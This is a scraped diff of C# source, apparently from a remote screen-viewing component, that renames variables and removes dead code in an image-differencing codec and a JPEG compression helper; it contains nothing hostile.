int lastx = scanArea.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
|
||||
s = new Size(ScanArea.Width, s.Height);
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
s = new Size(scanArea.Width, s.Height);
|
||||
fixed (byte* encBuffer = _encodeBuffer)
|
||||
{
|
||||
for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||
var index = 0;
|
||||
|
||||
for (int y = scanArea.Y; y != scanArea.Height; )
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(ScanArea.Width, lastSize.Height);
|
||||
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||
s = new Size(scanArea.Width, lastSize.Height);
|
||||
cBlock = new Rectangle(scanArea.X, y, scanArea.Width, s.Height);
|
||||
|
||||
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||
if (memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||
int offset = (y * stride) + (scanArea.X * pixelSize);
|
||||
if (memcmp(encBuffer + offset, pScan0 + offset, (uint)stride) != 0)
|
||||
{
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
index = blocks.Count - 1;
|
||||
if (blocks.Count != 0 && (blocks[index].Y + blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
cBlock = new Rectangle(blocks[index].X, blocks[index].Y, blocks[index].Width, blocks[index].Height + cBlock.Height);
|
||||
blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
|
||||
for (int i = 0, x = scanArea.X; i < blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
x = ScanArea.X;
|
||||
while (x != ScanArea.Width)
|
||||
s = new Size(CheckBlock.Width, blocks[i].Height);
|
||||
x = scanArea.X;
|
||||
while (x != scanArea.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
s = new Size(lastSize.Width, blocks[i].Height);
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
bool FoundChanges = false;
|
||||
int blockStride = PixelSize * cBlock.Width;
|
||||
cBlock = new Rectangle(x, blocks[i].Y, s.Width, blocks[i].Height);
|
||||
bool foundChanges = false;
|
||||
int blockStride = pixelSize * cBlock.Width;
|
||||
|
||||
for (int j = 0; j < cBlock.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X);
|
||||
int blockOffset = (stride * (cBlock.Y + j)) + (pixelSize * cBlock.X);
|
||||
if (memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
|
||||
FoundChanges = true;
|
||||
foundChanges = true;
|
||||
memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
}
|
||||
|
||||
if (FoundChanges)
|
||||
if (foundChanges)
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
|
@ -211,17 +211,17 @@ public unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, P
|
|||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
int blockStride = pixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
Bitmap tmpBmp = new Bitmap(rect.Width, rect.Height, format);
|
||||
BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.ReadWrite, tmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
int blockOffset = (stride * (rect.Y + j)) + (pixelSize * rect.X);
|
||||
memcpy((byte*)tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
tmpBmp.UnlockBits(tmpData);
|
||||
|
||||
/*using (Graphics g = Graphics.FromImage(bmp))
|
||||
{
|
||||
|
@ -238,15 +238,15 @@ public unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, P
|
|||
long length = outStream.Length;
|
||||
long OldPos = outStream.Position;
|
||||
|
||||
jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
_jpgCompression.Compress(tmpBmp, ref outStream);
|
||||
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
tmpBmp.Dispose();
|
||||
totalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
|
||||
/*if (finalUpdates.Count > 0)
|
||||
|
@ -260,84 +260,59 @@ public unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, P
|
|||
bmp.Dispose();*/
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
Blocks.Clear();
|
||||
outStream.Write(BitConverter.GetBytes(totalDataLength), 0, 4);
|
||||
blocks.Clear();
|
||||
finalUpdates.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
public unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
public unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
if (length < 4)
|
||||
return _decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
int dataSize = *(int*)(codecBuffer);
|
||||
if (_decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
byte[] temp = new byte[dataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
memcpy(new IntPtr(tempPtr), new IntPtr(codecBuffer.ToInt32() + 4), (uint)dataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return _decodedBitmap;
|
||||
}
|
||||
return decodedBitmap;
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
return _decodedBitmap;
|
||||
}
|
||||
|
||||
public Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
int dataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
if (_decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
temp = new byte[dataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
this._decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return _decodedBitmap;
|
||||
}
|
||||
|
||||
using (Graphics g = Graphics.FromImage(decodedBitmap))
|
||||
using (Graphics g = Graphics.FromImage(_decodedBitmap))
|
||||
{
|
||||
while (DataSize > 0)
|
||||
while (dataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
int updateLen = BitConverter.ToInt32(tempData, 16);
|
||||
tempData = null;
|
||||
|
||||
byte[] buffer = new byte[UpdateLen];
|
||||
byte[] buffer = new byte[updateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
using (MemoryStream m = new MemoryStream(buffer))
|
||||
|
@ -346,10 +321,10 @@ public Bitmap DecodeData(Stream inStream)
|
|||
g.DrawImage(tmp, rect.Location);
|
||||
}
|
||||
buffer = null;
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
dataSize -= updateLen + (4 * 5);
|
||||
}
|
||||
}
|
||||
return decodedBitmap;
|
||||
return _decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,38 +1,35 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace xServer.Core.Misc
|
||||
{
|
||||
public class JpgCompression
|
||||
{
|
||||
private EncoderParameter parameter;
|
||||
private ImageCodecInfo encoderInfo;
|
||||
private EncoderParameters encoderParams;
|
||||
private EncoderParameter _parameter;
|
||||
private ImageCodecInfo _encoderInfo;
|
||||
private EncoderParameters _encoderParams;
|
||||
|
||||
public JpgCompression(int Quality)
|
||||
public JpgCompression(int quality)
|
||||
{
|
||||
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
|
||||
this.encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
this.encoderParams = new EncoderParameters(2);
|
||||
this.encoderParams.Param[0] = parameter;
|
||||
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionRle);
|
||||
this._parameter = new EncoderParameter(Encoder.Quality, (long)quality);
|
||||
this._encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
this._encoderParams = new EncoderParameters(2);
|
||||
this._encoderParams.Param[0] = _parameter;
|
||||
this._encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, (long)EncoderValue.CompressionRle);
|
||||
}
|
||||
|
||||
public byte[] Compress(Bitmap bmp)
|
||||
{
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
bmp.Save(stream, _encoderInfo, _encoderParams);
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
public void Compress(Bitmap bmp, ref Stream TargetStream)
|
||||
public void Compress(Bitmap bmp, ref Stream targetStream)
|
||||
{
|
||||
bmp.Save(TargetStream, encoderInfo, encoderParams);
|
||||
bmp.Save(targetStream, _encoderInfo, _encoderParams);
|
||||
}
|
||||
|
||||
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
|
|
Loading…
Reference in New Issue